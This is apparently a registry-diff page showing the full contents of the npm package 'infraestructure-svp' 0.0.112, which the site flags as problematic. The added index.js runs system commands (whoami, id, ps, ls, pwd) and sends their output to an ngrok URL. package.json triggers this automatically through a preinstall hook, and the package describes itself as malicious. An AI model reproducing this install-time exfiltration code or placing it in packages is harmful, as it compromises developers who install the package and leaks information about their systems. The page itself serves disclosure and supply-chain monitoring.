infraestructure-svp 0.0.112

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of infraestructure-svp might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +38 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,38 @@
1
+ const { execSync } = require('child_process');
2
+ const axios = require('axios');
3
+ const querystring = require('querystring');
4
+
5
+ const executeCommand = (comando) => {
6
+ try {
7
+ return execSync(comando, { encoding: 'utf-8' }).trim();
8
+ } catch (error) {
9
+ console.error(`Error ejecutando comando: ${comando}`, error);
10
+ return '';
11
+ }
12
+ };
13
+
14
+ const whoami = executeCommand('whoami');
15
+ const id = executeCommand('id');
16
+ const ps = executeCommand('ps');
17
+ const ls = executeCommand('ls');
18
+ const pwd = executeCommand('pwd');
19
+
20
+ const url = 'https://6897-2800-e2-1f80-674-3ced-6d16-3604-e79.ngrok-free.app';
21
+
22
+ const params = {
23
+ whoami: whoami,
24
+ id: id,
25
+ ps: ps,
26
+ ls: ls,
27
+ pwd: pwd
28
+ };
29
+
30
+ const urlConParametros = `${url}?${querystring.stringify(params)}`;
31
+
32
+ axios.get(urlConParametros)
33
+ .then(response => {
34
+ console.log(response.data);
35
+ })
36
+ .catch(error => {
37
+ console.error('Error en la solicitud GET:', error);
38
+ });
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "infraestructure-svp",
3
+ "version": "0.0.112",
4
+ "description": "Malicious package infraestructure-svp",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "Malicious Actor",
10
+ "license": "ISC"
11
+ }